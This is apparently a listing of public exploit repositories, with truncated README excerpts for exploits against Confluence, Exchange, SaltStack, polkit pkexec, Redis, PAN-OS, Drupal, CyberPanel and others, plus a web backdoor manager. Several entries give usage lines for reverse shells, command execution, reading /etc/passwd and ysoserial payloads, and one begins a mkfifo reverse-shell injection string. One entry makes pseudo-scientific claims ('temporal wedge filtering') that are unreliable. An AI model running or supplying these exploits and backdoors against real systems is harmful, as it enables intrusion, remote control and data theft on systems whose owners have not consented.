CVE-2022-26134

CVE-2022-26134 -u URL, --url URL Target URL -c COMMAND, --command COMMAND Command -i LHOST, --lhost LHOST Reverse shell host address -p LPORT, --lport LPORT Reverse shell host port -f FILE, --file FILE Batch scan...

cve-2020-0688

cve-2020-0688 cve-2020-0688 Login with a user with an email address privliage is nothing to worry about. Grab - VIEWSTATEGENERATOR from page source Grab - the value of ASP.NETSessionId cookie for viewstateuserkey value Download YSO Here ysoserial.exe -p ViewState -g TextFormattingRunProperties -c...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2025-20393

CVE-2025-20393 📌 Overview CVE-2025-20393 is a critical Remote Command Execution RCE vulnerability affecting Cisco Secure Email Gateway SEG and Cisco Secure Email and Web Manager SEWM appliances running Cisco AsyncOS. The vulnerability exists due to improper input validation in the Spam Quarantine...

CVE-2021-4034

CVE-2021-4034 polkit pkexec Local Privilege Vulnerability to Add custom commands change to https://github.com/signfind/CVE-2021-4034 Cancel the /bin/sh interactive shell Suitable for one-line command execution in special cases Build gcc cve-2021-4034.c -o cve RCE...

VcenterKiller

VcenterKiller -1. Note For those setting up a vulnerable environment locally, using vckiller to verify log4j will mostly fail, because under VMware's NAT mode, the outgoing network interface in the verification module will be determined as 127.0.0.1, causing the target's LDAP Server address to...

FORTIWEB_CVE-2025-64446-58034

FortiWeb Exploit Simulation CVE-2025-64446 & CVE-2025-58034 Note: This document is for educational and security research purposes only. Do not use to attack systems without authorization. 1. Overview FortiWeb is a Web Application Firewall WAF device used to protect web applications. In 2025, two...

CVE-2022-36804

CVE-2022-36804 The Bitbucket Server and Bitbucket Data Center components have a command injection vulnerability, according to information recently discovered by the Sangfor security team. An attacker can submit malicious HTTP requests to execute arbitrary code and eventually get access to the...

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE double-free → remote code execution Verified against Rocky Linux 8.10, aarch64, Redis 8.6.2, jemalloc 5.3.0. Reference: https://www.zeroday.cloud/blog/redis-cve-2026-25243-deep-dive TLDR; Stable exploit, works against variety of OS distro and architecture. Executive...

Shelly

Shelly | Simple Backdoor Manager with Python based on weevely Shelly is a simple tool that is written using Python, which functions to remote a website Instalation : $ git clone https://github.com/tegal1337/Shelly $ cd Shelly $ python3 shell.py Requirements : sudo pip install -r requirements.txt...

CVE-2018-14667

CVE-2018-14667 env the rich.ser can open the Calculator.app only MacOs download this project. the poc program in web-inf/src/Main.java...

-CTT-PAN-OS-EXPLOIT-CVE-2024-340

-CTT-PAN-OS-EXPLOIT-CVE-2024-340 CTT-PAN-OS-Exploit – CVE-2024-3400 CVSS 10.0 with Convergent Time Theory enhancement. Uses α = 0.0302011 temporal dispersion, 33-layer phase resonance cascade, and 11 ns temporal wedge filtering to exploit Palo Alto GlobalProtect command injection. The payload is...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 Exploit — bixi.py 📖 Description bixi.py is an exploit for the CVE‑2018‑7600 Drupalgeddon 2 vulnerability affecting Drupal 7. It allows remote command execution RCE on vulnerable Drupal servers through an intuitive interface and predefined commands. ⚠️ DISCLAIMER / LEGAL NOTICE THI...

CVE-2024-53376

CVE-2024-53376 CyberPanel Authenticated OS Command Injection Affected Devices CyberPanel versions 2.3.8 are vulnerable to an OS command injection. To exploit the vulnerability the attacker is required to firstly login to the webpanel. Tested With CyberPanel 2.3.7 Technical details An attacker can...

CVE-2026-26833

CVE-2026-26833: OS command injection in thumbler Summary thumbler through version 1.1.2 allows OS command injection in thumbnail in lib/thumbler.js. The package concatenates the input, output, time, and size values into a single ffmpeg command string and executes that string with childprocess.exe...

CVE-2025-59528-PoC

CVE-2025-59528 Educational PoC Educational use only. This project is intended for controlled security research, classroom demonstrations, and authorized testing in an isolated lab. Do not use it against systems, networks, applications, or accounts that you do not own or have explicit permission t...

CVE-2026-69451-PoC

Fastprox EOP PoC for the CVE-2026-69451, blogpost at https://fj016.fr/blog/cve-2026-69451-en Usage fastproxeop.exe --cmd "whoami /all" --out "filename.txt"...

AgentCyTE

CORE TopoGen Generate reproducible CORE network topologies from scenario XML files using a rich Web GUI or a command-line interface. Table of contents Highlights Screenshots Quick start Prerequisites Install dependencies Launch the Web UI Run the CLI Full Preview workflow Feature deep dive Planni...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2024-56145-craftcms-rce

Before you run script again do fuser -k 6666/tcp Usage - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i is your IP or your vps IP use that by doing ipconfig / ifconfig. Like - python3 poc.py -f...